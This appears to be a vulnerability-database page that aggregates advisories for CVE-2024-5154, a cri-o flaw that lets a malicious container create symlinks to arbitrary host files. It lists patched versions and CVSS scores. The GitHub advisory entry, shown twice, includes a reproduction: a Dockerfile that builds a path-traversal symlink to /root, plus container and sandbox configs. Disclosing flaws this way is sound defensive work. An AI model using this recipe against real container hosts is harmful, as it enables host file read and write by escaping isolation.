Cri-o: malicious container can create symlink on host
cve-program · CVE-2024-5154
PublishedA flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.
Read the publisher's advisoryeuvd · EUVD-2024-2089
PublishedA flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.
Read the publisher's advisorynvd · CVE-2024-5154
PublishedA flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.
Read the publisher's advisoryosv · GHSA-j9hf-98c3-wrm8
Published### Impact A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host. A workload built from this Dockerfile: ``` FROM docker.io/library/busybox as source RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc FROM scratch COPY --from=source /bin /bin COPY --from=source /lib /lib COPY --from=source /extra . ``` and this container config: ``` { "metadata": { "name": "busybox" }, "image":{ "image": "localhost/test" }, "command": [ "/bin/true" ], "linux": { } } ``` and this sandbox config ``` { "metadata": { "name": "test-sandbox", "namespace": "default", "attempt": 1, "uid": "edishd83djaideaduwk28bcsb" }, "linux": { "security_context": { "namespace_options": { "network": 2 } } } } ``` will create a file on host `/host/mtab` ### Patches 1.30.1, 1.29.5, 1.28.7 ### Workarounds Unfortunately not ### References _Are there any links users can visit to find out more?_
Read the publisher's advisoryosv · GO-2024-2919
Publishedmalicious container creates symlink "mtab" on the host External in github.com/cri-o/cri-o
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cve-program · CVE-2024-5154
PublishedCri-o: malicious container can create symlink on host
A flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.
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- 12 Jun 2024 08:51:43 UTC
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- 4 Nov 2026 21:20:01 UTC
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CVSS 3.1 · 8.1 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
euvd · EUVD-2024-2089
PublishedA flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.
A flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.
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CVE-2023-30841 · CVE-2024-5154
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EUVD CVSS 3.1 · 8.1 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
nvd · CVE-2024-5154
PublishedA flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.
A flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.
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Source analysis status: Modified
Weakness classifications: CWE-22
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published: 2024-06-12T09:15:19.973
lastModified: 2026-11-04T22:17:22.940
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- cpe:2.3:a:kubernetes:cri-o:1.28.6:*:*:*:*:*:*:*
- cpe:2.3:a:kubernetes:cri-o:1.29.4:*:*:*:*:*:*:*
- cpe:2.3:a:kubernetes:cri-o:1.30.0:*:*:*:*:*:*:*
- cpe:2.3:a:redhat:openshift_container_platform:3.11:*:*:*:*:*:*:*
- cpe:2.3:a:redhat:openshift_container_platform:4.0:*:*:*:*:*:*:*
- cpe:2.3:a:redhat:openshift_container_platform:4.12:*:*:*:*:*:*:*
- cpe:2.3:a:redhat:openshift_container_platform:4.13:*:*:*:*:*:*:*
- cpe:2.3:a:redhat:openshift_container_platform:4.14:*:*:*:*:*:*:*
- cpe:2.3:a:redhat:openshift_container_platform:4.15:*:*:*:*:*:*:*
- cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*
- cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*
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- 12 Jun 2024 09:15:19 UTC
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CVSS 3.1 · [email protected] · Secondary · 8.1 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
osv · GHSA-j9hf-98c3-wrm8
Publishedmalicious container creates symlink "mtab" on the host External
### Impact A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host. A workload built from this Dockerfile: ``` FROM docker.io/library/busybox as source RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc FROM scratch COPY --from=source /bin /bin COPY --from=source /lib /lib COPY --from=source /extra . ``` and this container config: ``` { "metadata": { "name": "busybox" }, "image":{ "image": "localhost/test" }, "command": [ "/bin/true" ], "linux": { } } ``` and this sandbox config ``` { "metadata": { "name": "test-sandbox", "namespace": "default", "attempt": 1, "uid": "edishd83djaideaduwk28bcsb" }, "linux": { "security_context": { "namespace_options": { "network": 2 } } } } ``` will create a file on host `/host/mtab` ### Patches 1.30.1, 1.29.5, 1.28.7 ### Workarounds Unfortunately not ### References _Are there any links users can visit to find out more?_
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- 4 Jun 2024 18:12:31 UTC
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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
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osv · GO-2024-2919
Publishedmalicious container creates symlink "mtab" on the host External in github.com/cri-o/cri-o
malicious container creates symlink "mtab" on the host External in github.com/cri-o/cri-o
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- 14 Jun 2024 13:41:08 UTC
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